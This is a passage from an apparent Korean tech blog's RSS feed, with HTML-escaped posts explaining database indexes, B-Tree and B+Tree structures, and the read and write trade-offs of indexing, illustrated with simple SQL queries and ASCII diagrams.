&amp;nbsp;2.&amp;nbsp;왜&amp;nbsp;데이터베이스는&amp;nbsp;'B-Tree'에&amp;nbsp;목숨을&amp;nbsp;걸었을까? &lt;br /&gt;&lt;br /&gt;정렬된&amp;nbsp;데이터에서&amp;nbsp;빠르게&amp;nbsp;찾는&amp;nbsp;방법으로&amp;nbsp;개발자들은&amp;nbsp;보통&amp;nbsp;'이진&amp;nbsp;탐색&amp;nbsp;트리(Binary&amp;nbsp;Search&amp;nbsp;Tree)'나&amp;nbsp;'해시&amp;nbsp;테이블(Hash&amp;nbsp;Table)'을&amp;nbsp;먼저&amp;nbsp;떠올립니다.&amp;nbsp;하지만&amp;nbsp;왜&amp;nbsp;거의&amp;nbsp;모든&amp;nbsp;관계형&amp;nbsp;데이터베이스(MySQL&amp;nbsp;InnoDB,&amp;nbsp;Oracle,&amp;nbsp;PostgreSQL)는&amp;nbsp;**B-Tree&amp;nbsp;(Balanced&amp;nbsp;Tree)**&amp;nbsp;및&amp;nbsp;**B+Tree**를&amp;nbsp;기본&amp;nbsp;인덱스&amp;nbsp;알고리즘으로&amp;nbsp;채택했을까요? &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;①&amp;nbsp;해시&amp;nbsp;테이블(Hash)을&amp;nbsp;쓰지&amp;nbsp;않는&amp;nbsp;이유:&amp;nbsp;&quot;범위&amp;nbsp;검색의&amp;nbsp;불가능&quot; &lt;br /&gt;해시&amp;nbsp;테이블은&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;일치하는&amp;nbsp;값(`WHERE&amp;nbsp;id&amp;nbsp;=&amp;nbsp;100`)을&amp;nbsp;찾는&amp;nbsp;데는&amp;nbsp;$O(1)$로&amp;nbsp;가장&amp;nbsp;빠릅니다.&amp;nbsp;하지만&amp;nbsp;우리는&amp;nbsp;실무에서&amp;nbsp;날짜&amp;nbsp;범위(`WHERE&amp;nbsp;created_at&amp;nbsp;BETWEEN&amp;nbsp;'2026-01-01'&amp;nbsp;AND&amp;nbsp;'2026-01-31'`)나&amp;nbsp;부등호(`WHERE&amp;nbsp;age&amp;nbsp;&amp;gt;=&amp;nbsp;20`)&amp;nbsp;검색을&amp;nbsp;엄청나게&amp;nbsp;많이&amp;nbsp;씁니다.&amp;nbsp;해시&amp;nbsp;함수는&amp;nbsp;데이터의&amp;nbsp;순서를&amp;nbsp;완전히&amp;nbsp;뒤죽박죽으로&amp;nbsp;만들기&amp;nbsp;때문에&amp;nbsp;범위&amp;nbsp;검색을&amp;nbsp;전혀&amp;nbsp;지원하지&amp;nbsp;못합니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;②&amp;nbsp;일반&amp;nbsp;이진&amp;nbsp;트리를&amp;nbsp;쓰지&amp;nbsp;않는&amp;nbsp;이유:&amp;nbsp;&quot;디스크&amp;nbsp;I/O&amp;nbsp;병목&quot; &lt;br /&gt;일반&amp;nbsp;이진&amp;nbsp;트리는&amp;nbsp;부모&amp;nbsp;노드&amp;nbsp;아래에&amp;nbsp;자식&amp;nbsp;노드가&amp;nbsp;최대&amp;nbsp;2개뿐입니다.&amp;nbsp;데이터가&amp;nbsp;1억&amp;nbsp;개면&amp;nbsp;트리의&amp;nbsp;깊이(높이)가&amp;nbsp;수십&amp;nbsp;단계로&amp;nbsp;깊어집니다.&amp;nbsp;데이터베이스에서&amp;nbsp;노드를&amp;nbsp;하나씩&amp;nbsp;타고&amp;nbsp;내려갈&amp;nbsp;때마다&amp;nbsp;**느려터진&amp;nbsp;하드디스크(SSD)를&amp;nbsp;한&amp;nbsp;번씩&amp;nbsp;읽어야(디스크&amp;nbsp;I/O)**&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;B-Tree의&amp;nbsp;혁신적인&amp;nbsp;구조:&amp;nbsp;한&amp;nbsp;노드에&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;키를&amp;nbsp;담는다!&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;20&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;50&amp;nbsp;]&amp;nbsp;&amp;nbsp;(루트&amp;nbsp;노드) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;／&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;＼ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;5&amp;nbsp;|&amp;nbsp;10&amp;nbsp;|&amp;nbsp;15&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;25&amp;nbsp;|&amp;nbsp;35&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;60&amp;nbsp;|&amp;nbsp;70&amp;nbsp;|&amp;nbsp;80&amp;nbsp;|&amp;nbsp;90&amp;nbsp;]&amp;nbsp;(자식&amp;nbsp;노드) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;B-Tree는&amp;nbsp;**&quot;하나의&amp;nbsp;노드에&amp;nbsp;2개가&amp;nbsp;아니라&amp;nbsp;수백~수천&amp;nbsp;개의&amp;nbsp;키를&amp;nbsp;담고,&amp;nbsp;수백&amp;nbsp;갈래의&amp;nbsp;자식&amp;nbsp;노드를&amp;nbsp;거느리는&amp;nbsp;뚱뚱하고&amp;nbsp;평평한&amp;nbsp;나무&quot;**입니다. &lt;br /&gt;*&amp;nbsp;트리의&amp;nbsp;높이가&amp;nbsp;고작&amp;nbsp;**3~4단계**에&amp;nbsp;불과합니다. &lt;br /&gt;*&amp;nbsp;즉,&amp;nbsp;데이터가&amp;nbsp;수천만&amp;nbsp;건에&amp;nbsp;달해도&amp;nbsp;**단&amp;nbsp;3~4번의&amp;nbsp;디스크&amp;nbsp;접근(블록&amp;nbsp;I/O)**만으로&amp;nbsp;원하는&amp;nbsp;데이터를&amp;nbsp;100%&amp;nbsp;찾아냅니다! &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;현대&amp;nbsp;DB의&amp;nbsp;표준:&amp;nbsp;B+Tree의&amp;nbsp;독보적인&amp;nbsp;진화 &lt;br /&gt;&lt;br /&gt;오늘날&amp;nbsp;MySQL(InnoDB)&amp;nbsp;등&amp;nbsp;최신&amp;nbsp;DB&amp;nbsp;엔진은&amp;nbsp;B-Tree를&amp;nbsp;더욱&amp;nbsp;개량한&amp;nbsp;**B+Tree**를&amp;nbsp;사용합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;B+Tree의&amp;nbsp;리프&amp;nbsp;노드&amp;nbsp;연결&amp;nbsp;리스트&amp;nbsp;구조&amp;nbsp;] &lt;br /&gt;루트/중간&amp;nbsp;노드:&amp;nbsp;실제&amp;nbsp;데이터는&amp;nbsp;없고&amp;nbsp;오직&amp;nbsp;'길&amp;nbsp;안내용&amp;nbsp;키(Key)'만&amp;nbsp;담아&amp;nbsp;슬림화 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;리프(바닥)&amp;nbsp;노드:&amp;nbsp;[10:데이터]&amp;nbsp;──&amp;gt;&amp;nbsp;[20:데이터]&amp;nbsp;──&amp;gt;&amp;nbsp;[30:데이터]&amp;nbsp;──&amp;gt;&amp;nbsp;[40:데이터] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(모든&amp;nbsp;실제&amp;nbsp;데이터가&amp;nbsp;바닥에&amp;nbsp;모여있고,&amp;nbsp;서로&amp;nbsp;양방향&amp;nbsp;링크로&amp;nbsp;연결됨!) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**더&amp;nbsp;많은&amp;nbsp;키&amp;nbsp;적재**:&amp;nbsp;중간&amp;nbsp;노드에&amp;nbsp;실제&amp;nbsp;데이터&amp;nbsp;행을&amp;nbsp;두지&amp;nbsp;않고&amp;nbsp;길잡이&amp;nbsp;키만&amp;nbsp;두므로,&amp;nbsp;한&amp;nbsp;노드(16KB&amp;nbsp;페이지)에&amp;nbsp;훨씬&amp;nbsp;더&amp;nbsp;많은&amp;nbsp;키를&amp;nbsp;채워&amp;nbsp;넣어&amp;nbsp;트리의&amp;nbsp;높이를&amp;nbsp;극한으로&amp;nbsp;낮춥니다. &lt;br /&gt;2.&amp;nbsp;**풀&amp;nbsp;스캔&amp;nbsp;범위&amp;nbsp;검색의&amp;nbsp;제왕**:&amp;nbsp;모든&amp;nbsp;리프&amp;nbsp;노드가&amp;nbsp;**연결&amp;nbsp;리스트(Linked&amp;nbsp;List)**로&amp;nbsp;서로&amp;nbsp;손을&amp;nbsp;맞잡고&amp;nbsp;있습니다.&amp;nbsp;범위&amp;nbsp;검색(`10부터&amp;nbsp;40까지`)을&amp;nbsp;할&amp;nbsp;때&amp;nbsp;루트로&amp;nbsp;다시&amp;nbsp;올라갈&amp;nbsp;필요&amp;nbsp;없이,&amp;nbsp;10을&amp;nbsp;찾은&amp;nbsp;뒤&amp;nbsp;옆으로&amp;nbsp;손만&amp;nbsp;뻗어&amp;nbsp;쭉&amp;nbsp;훑어가면&amp;nbsp;되므로&amp;nbsp;범위&amp;nbsp;조회가&amp;nbsp;극도로&amp;nbsp;빠릅니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚠️&amp;nbsp;4.&amp;nbsp;인덱스의&amp;nbsp;치명적인&amp;nbsp;대가&amp;nbsp;-&amp;nbsp;공짜가&amp;nbsp;아니다! &lt;br /&gt;&lt;br /&gt;인덱스가&amp;nbsp;빠르다고&amp;nbsp;해서&amp;nbsp;모든&amp;nbsp;컬럼에&amp;nbsp;마구잡이로&amp;nbsp;인덱스를&amp;nbsp;걸면&amp;nbsp;데이터베이스는&amp;nbsp;순식간에&amp;nbsp;마비됩니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;인덱스의&amp;nbsp;트레이드오프&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;조회(SELECT):&amp;nbsp;빛의&amp;nbsp;속도로&amp;nbsp;빨라짐&amp;nbsp;(성능&amp;nbsp;극대화) &lt;br /&gt;-&amp;nbsp;쓰기(INSERT,&amp;nbsp;UPDATE,&amp;nbsp;DELETE):&amp;nbsp;심각하게&amp;nbsp;느려짐!&amp;nbsp;(성능&amp;nbsp;저하) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;새로운&amp;nbsp;회원이&amp;nbsp;가입(`INSERT`)할&amp;nbsp;때마다,&amp;nbsp;DB는&amp;nbsp;원본&amp;nbsp;테이블에&amp;nbsp;회원을&amp;nbsp;추가할&amp;nbsp;뿐만&amp;nbsp;아니라&amp;nbsp;**수백만&amp;nbsp;개가&amp;nbsp;정렬되어&amp;nbsp;있는&amp;nbsp;B+Tree&amp;nbsp;인덱스&amp;nbsp;장부&amp;nbsp;속을&amp;nbsp;비집고&amp;nbsp;들어가&amp;nbsp;적절한&amp;nbsp;자리를&amp;nbsp;찾아&amp;nbsp;끼워&amp;nbsp;넣고,&amp;nbsp;노드가&amp;nbsp;넘치면&amp;nbsp;쪼개는&amp;nbsp;작업(Node&amp;nbsp;Split)**을&amp;nbsp;매번&amp;nbsp;수행해야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**인덱스&amp;nbsp;설계의&amp;nbsp;황금률**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;1.&amp;nbsp;`WHERE`,&amp;nbsp;`JOIN`,&amp;nbsp;`ORDER&amp;nbsp;BY`에&amp;nbsp;자주&amp;nbsp;쓰이는&amp;nbsp;컬럼에&amp;nbsp;건다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;2.&amp;nbsp;카디널리티(데이터&amp;nbsp;중복도가&amp;nbsp;낮고&amp;nbsp;유니크한&amp;nbsp;정도,&amp;nbsp;예:&amp;nbsp;이메일,&amp;nbsp;주민번호)가&amp;nbsp;높은&amp;nbsp;컬럼이&amp;nbsp;최우선이다.&amp;nbsp;(성별처럼&amp;nbsp;'남/여'&amp;nbsp;2개뿐인&amp;nbsp;컬럼은&amp;nbsp;인덱스&amp;nbsp;효과가&amp;nbsp;거의&amp;nbsp;없음) &lt;br /&gt;&amp;nbsp;&amp;nbsp;3.&amp;nbsp;무분별한&amp;nbsp;다중&amp;nbsp;인덱스는&amp;nbsp;피하고&amp;nbsp;테이블당&amp;nbsp;3~5개&amp;nbsp;이내로&amp;nbsp;절제한다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**DB&amp;nbsp;인덱스**는&amp;nbsp;책&amp;nbsp;뒤편의&amp;nbsp;색인처럼&amp;nbsp;특정&amp;nbsp;컬럼을&amp;nbsp;미리&amp;nbsp;정렬해&amp;nbsp;두어&amp;nbsp;$O(\log&amp;nbsp;N)$&amp;nbsp;초고속&amp;nbsp;탐색을&amp;nbsp;가능하게&amp;nbsp;하는&amp;nbsp;색인&amp;nbsp;장부다. &lt;br /&gt;2.&amp;nbsp;**B-Tree&amp;nbsp;및&amp;nbsp;B+Tree**는&amp;nbsp;하나의&amp;nbsp;노드에&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;키를&amp;nbsp;담아&amp;nbsp;트리의&amp;nbsp;깊이를&amp;nbsp;3~4단계로&amp;nbsp;낮춤으로써&amp;nbsp;디스크&amp;nbsp;I/O를&amp;nbsp;최소화한&amp;nbsp;데이터베이스의&amp;nbsp;심장이다. &lt;br /&gt;3.&amp;nbsp;조회&amp;nbsp;성능은&amp;nbsp;극대화되지만&amp;nbsp;삽입&amp;middot;수정&amp;middot;삭제&amp;nbsp;시&amp;nbsp;인덱스&amp;nbsp;정렬&amp;nbsp;비용이&amp;nbsp;발생하므로,&amp;nbsp;신중하고&amp;nbsp;절제된&amp;nbsp;인덱스&amp;nbsp;설계가&amp;nbsp;필수적이다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;데이터베이스의&amp;nbsp;성능을&amp;nbsp;최적화하여&amp;nbsp;튼튼한&amp;nbsp;금고를&amp;nbsp;마련했다면,&amp;nbsp;이제&amp;nbsp;이&amp;nbsp;거대한&amp;nbsp;서버와&amp;nbsp;DB&amp;nbsp;컨테이너&amp;nbsp;수백&amp;nbsp;개를&amp;nbsp;클라우드&amp;nbsp;환경에서&amp;nbsp;자유자재로&amp;nbsp;배포하고&amp;nbsp;관리할&amp;nbsp;방법이&amp;nbsp;필요합니다. &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;엔터프라이즈&amp;nbsp;인프라를&amp;nbsp;통일한&amp;nbsp;오케스트레이션의&amp;nbsp;지배자,&amp;nbsp;**[쿠버네티스(Kubernetes)란&amp;nbsp;무엇인가?&amp;nbsp;-&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;도커&amp;nbsp;컨테이너를&amp;nbsp;지휘하는&amp;nbsp;마에스트로]**를&amp;nbsp;누구보다&amp;nbsp;쉽게&amp;nbsp;설명해&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>클라우드, DevOps &amp;amp; 인프라</category>
      <category>b+tree</category>
      <category>btree</category>
      <category>DB</category>
      <category>index</category>
      <category>SQL</category>
      <category>데이터베이스</category>
      <category>백엔드</category>
      <category>인덱스</category>
      <category>자료구조</category>
      <category>쿼리튜닝</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/90</guid>
      <comments>https://softwin.tistory.com/90#entry90comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:32:49 +0900</pubDate>
    </item>
    <item>
      <title>DB 인덱스(Index)와 B-Tree의 원리 - 1억 건 데이터 중 내 정보를 0.001초 만에 찾는 법</title>
      <link>https://softwin.tistory.com/89</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;DB&amp;nbsp;인덱스(Index)와&amp;nbsp;B-Tree의&amp;nbsp;원리&amp;nbsp;-&amp;nbsp;1억&amp;nbsp;건&amp;nbsp;데이터&amp;nbsp;중&amp;nbsp;내&amp;nbsp;정보를&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;찾는&amp;nbsp;법 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;1,000페이지&amp;nbsp;두꺼운&amp;nbsp;책에서&amp;nbsp;원하는&amp;nbsp;단어를&amp;nbsp;찾는&amp;nbsp;법 &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;표(Table)&amp;nbsp;중심의&amp;nbsp;**관계형&amp;nbsp;데이터베이스(RDBMS)**와&amp;nbsp;유연한&amp;nbsp;서류봉투(JSON)&amp;nbsp;중심의&amp;nbsp;**NoSQL**의&amp;nbsp;구조적&amp;nbsp;차이와&amp;nbsp;용도를&amp;nbsp;살펴보았습니다.&amp;nbsp;어떤&amp;nbsp;데이터베이스를&amp;nbsp;쓰든&amp;nbsp;간에,&amp;nbsp;데이터가&amp;nbsp;수백만,&amp;nbsp;수천만&amp;nbsp;건으로&amp;nbsp;쌓이기&amp;nbsp;시작하면&amp;nbsp;모든&amp;nbsp;백엔드&amp;nbsp;엔지니어는&amp;nbsp;동일한&amp;nbsp;악몽에&amp;nbsp;시달리게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;사용자가&amp;nbsp;로그인할&amp;nbsp;때&amp;nbsp;아이디를&amp;nbsp;조회하는&amp;nbsp;쿼리가&amp;nbsp;처음에는&amp;nbsp;0.01초&amp;nbsp;만에&amp;nbsp;끝났는데,&amp;nbsp;회원&amp;nbsp;수가&amp;nbsp;100만&amp;nbsp;명을&amp;nbsp;넘어가니&amp;nbsp;10초가&amp;nbsp;넘게&amp;nbsp;걸려&amp;nbsp;서버가&amp;nbsp;뻗어버립니다!&quot;** &lt;br /&gt;&lt;br /&gt;1,000페이지가&amp;nbsp;넘는&amp;nbsp;방대한&amp;nbsp;백과사전에서&amp;nbsp;'스티브&amp;nbsp;잡스'라는&amp;nbsp;인물을&amp;nbsp;찾는&amp;nbsp;상황을&amp;nbsp;상상해&amp;nbsp;보십시오.&amp;nbsp;&amp;nbsp; &lt;br /&gt;1페이지부터&amp;nbsp;마지막&amp;nbsp;1,000페이지까지&amp;nbsp;손가락으로&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;넘기며&amp;nbsp;찾는다면&amp;nbsp;책&amp;nbsp;한&amp;nbsp;권을&amp;nbsp;다&amp;nbsp;읽는&amp;nbsp;데&amp;nbsp;며칠&amp;nbsp;밤낮이&amp;nbsp;걸릴&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;우리는&amp;nbsp;그렇게&amp;nbsp;무식하게&amp;nbsp;찾지&amp;nbsp;않습니다.&amp;nbsp;책의&amp;nbsp;맨&amp;nbsp;뒤편에&amp;nbsp;있는&amp;nbsp;**'색인(찾아보기/Index)'**을&amp;nbsp;펼쳐서&amp;nbsp;'ㅅ'&amp;nbsp;항목으로&amp;nbsp;곧장&amp;nbsp;간&amp;nbsp;뒤,&amp;nbsp;&quot;스티브&amp;nbsp;잡스:&amp;nbsp;742페이지&quot;라는&amp;nbsp;글자를&amp;nbsp;보고&amp;nbsp;단&amp;nbsp;3초&amp;nbsp;만에&amp;nbsp;742페이지를&amp;nbsp;펼칩니다. &lt;br /&gt;&lt;br /&gt;데이터베이스에서&amp;nbsp;이&amp;nbsp;색인&amp;nbsp;역할을&amp;nbsp;수행하여&amp;nbsp;수억&amp;nbsp;건의&amp;nbsp;데이터&amp;nbsp;중&amp;nbsp;내가&amp;nbsp;원하는&amp;nbsp;행(Row)을&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;번개처럼&amp;nbsp;찾아내는&amp;nbsp;마법의&amp;nbsp;기술,&amp;nbsp;바로&amp;nbsp;**DB&amp;nbsp;인덱스(Index)**와&amp;nbsp;그&amp;nbsp;중심에&amp;nbsp;있는&amp;nbsp;**B-Tree&amp;nbsp;자료구조**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;풀&amp;nbsp;테이블&amp;nbsp;스캔(Full&amp;nbsp;Scan)&amp;nbsp;vs&amp;nbsp;인덱스&amp;nbsp;스캔(Index&amp;nbsp;Scan) &lt;br /&gt;&lt;br /&gt;데이터베이스가&amp;nbsp;데이터를&amp;nbsp;찾는&amp;nbsp;방식은&amp;nbsp;크게&amp;nbsp;두&amp;nbsp;가지로&amp;nbsp;나뉩니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;1.&amp;nbsp;풀&amp;nbsp;테이블&amp;nbsp;스캔&amp;nbsp;(Full&amp;nbsp;Table&amp;nbsp;Scan):&amp;nbsp;무식한&amp;nbsp;전수조사&amp;nbsp;] &lt;br /&gt;SELECT&amp;nbsp;*&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;email&amp;nbsp;=&amp;nbsp;'alex@gmail.com'; &lt;br /&gt;-&amp;nbsp;DB의&amp;nbsp;동작:&amp;nbsp;1번&amp;nbsp;회원부터&amp;nbsp;1,000만&amp;nbsp;번&amp;nbsp;회원까지&amp;nbsp;하드디스크의&amp;nbsp;데이터를&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;처음부터&amp;nbsp;끝까지&amp;nbsp;몽땅&amp;nbsp;메모리로&amp;nbsp;퍼&amp;nbsp;올려서&amp;nbsp;하나하나&amp;nbsp;대조함! &lt;br /&gt;-&amp;nbsp;소요&amp;nbsp;시간:&amp;nbsp;데이터가&amp;nbsp;늘어날수록&amp;nbsp;선형적으로&amp;nbsp;느려짐&amp;nbsp;(O(N)&amp;nbsp;복잡도) &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;2.&amp;nbsp;인덱스&amp;nbsp;스캔&amp;nbsp;(Index&amp;nbsp;Scan):&amp;nbsp;정렬된&amp;nbsp;색인&amp;nbsp;지도&amp;nbsp;조회&amp;nbsp;] &lt;br /&gt;email&amp;nbsp;컬럼에&amp;nbsp;[인덱스(색인)]가&amp;nbsp;걸려있다면? &lt;br /&gt;-&amp;nbsp;DB의&amp;nbsp;동작:&amp;nbsp;알파벳순으로&amp;nbsp;예쁘게&amp;nbsp;정렬된&amp;nbsp;'이메일&amp;nbsp;색인&amp;nbsp;장부'를&amp;nbsp;펼쳐서&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;이진&amp;nbsp;탐색(B-Tree)으로&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;해당&amp;nbsp;위치(주소값)를&amp;nbsp;특정! &lt;br /&gt;-&amp;nbsp;소요&amp;nbsp;시간:&amp;nbsp;데이터가&amp;nbsp;1,000만&amp;nbsp;개여도&amp;nbsp;단&amp;nbsp;20~30번의&amp;nbsp;비교만으로&amp;nbsp;끝남&amp;nbsp;(O(log&amp;nbsp;N)) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**인덱스(Index)의&amp;nbsp;본질**:&amp;nbsp;특정&amp;nbsp;컬럼(예:&amp;nbsp;이메일,&amp;nbsp;주민번호,&amp;nbsp;작성일자)의&amp;nbsp;값과&amp;nbsp;해당&amp;nbsp;행이&amp;nbsp;하드디스크&amp;nbsp;어디에&amp;nbsp;저장되어&amp;nbsp;있는지&amp;nbsp;가리키는&amp;nbsp;**물리적&amp;nbsp;주소(포인터/RID)**를&amp;nbsp;짝지어&amp;nbsp;**미리&amp;nbsp;오름차순으로&amp;nbsp;정렬해&amp;nbsp;둔&amp;nbsp;별도의&amp;nbsp;색인&amp;nbsp;테이블**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;왜&amp;nbsp;데이터베이스는&amp;nbsp;'B-Tree'에&amp;nbsp;목숨을&amp;nbsp;걸었을까? &lt;br /&gt;&lt;br /&gt;정렬된&amp;nbsp;데이터에서&amp;nbsp;빠르게&amp;nbsp;찾는&amp;nbsp;방법으로&amp;nbsp;개발자들은&amp;nbsp;보통&amp;nbsp;'이진&amp;nbsp;탐색&amp;nbsp;트리(Binary&amp;nbsp;Search&amp;nbsp;Tree)'나&amp;nbsp;'해시&amp;nbsp;테이블(Hash&amp;nbsp;Table)'을&amp;nbsp;먼저&amp;nbsp;떠올립니다.&amp;nbsp;하지만&amp;nbsp;왜&amp;nbsp;거의&amp;nbsp;모든&amp;nbsp;관계형&amp;nbsp;데이터베이스(MySQL&amp;nbsp;InnoDB,&amp;nbsp;Oracle,&amp;nbsp;PostgreSQL)는&amp;nbsp;**B-Tree&amp;nbsp;(Balanced&amp;nbsp;Tree)**&amp;nbsp;및&amp;nbsp;**B+Tree**를&amp;nbsp;기본&amp;nbsp;인덱스&amp;nbsp;알고리즘으로&amp;nbsp;채택했을까요? &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;①&amp;nbsp;해시&amp;nbsp;테이블(Hash)을&amp;nbsp;쓰지&amp;nbsp;않는&amp;nbsp;이유:&amp;nbsp;&quot;범위&amp;nbsp;검색의&amp;nbsp;불가능&quot; &lt;br /&gt;해시&amp;nbsp;테이블은&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;일치하는&amp;nbsp;값(`WHERE&amp;nbsp;id&amp;nbsp;=&amp;nbsp;100`)을&amp;nbsp;찾는&amp;nbsp;데는&amp;nbsp;$O(1)$로&amp;nbsp;가장&amp;nbsp;빠릅니다.&amp;nbsp;하지만&amp;nbsp;우리는&amp;nbsp;실무에서&amp;nbsp;날짜&amp;nbsp;범위(`WHERE&amp;nbsp;created_at&amp;nbsp;BETWEEN&amp;nbsp;'2026-01-01'&amp;nbsp;AND&amp;nbsp;'2026-01-31'`)나&amp;nbsp;부등호(`WHERE&amp;nbsp;age&amp;nbsp;&amp;gt;=&amp;nbsp;20`)&amp;nbsp;검색을&amp;nbsp;엄청나게&amp;nbsp;많이&amp;nbsp;씁니다.&amp;nbsp;해시&amp;nbsp;함수는&amp;nbsp;데이터의&amp;nbsp;순서를&amp;nbsp;완전히&amp;nbsp;뒤죽박죽으로&amp;nbsp;만들기&amp;nbsp;때문에&amp;nbsp;범위&amp;nbsp;검색을&amp;nbsp;전혀&amp;nbsp;지원하지&amp;nbsp;못합니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;②&amp;nbsp;일반&amp;nbsp;이진&amp;nbsp;트리를&amp;nbsp;쓰지&amp;nbsp;않는&amp;nbsp;이유:&amp;nbsp;&quot;디스크&amp;nbsp;I/O&amp;nbsp;병목&quot; &lt;br 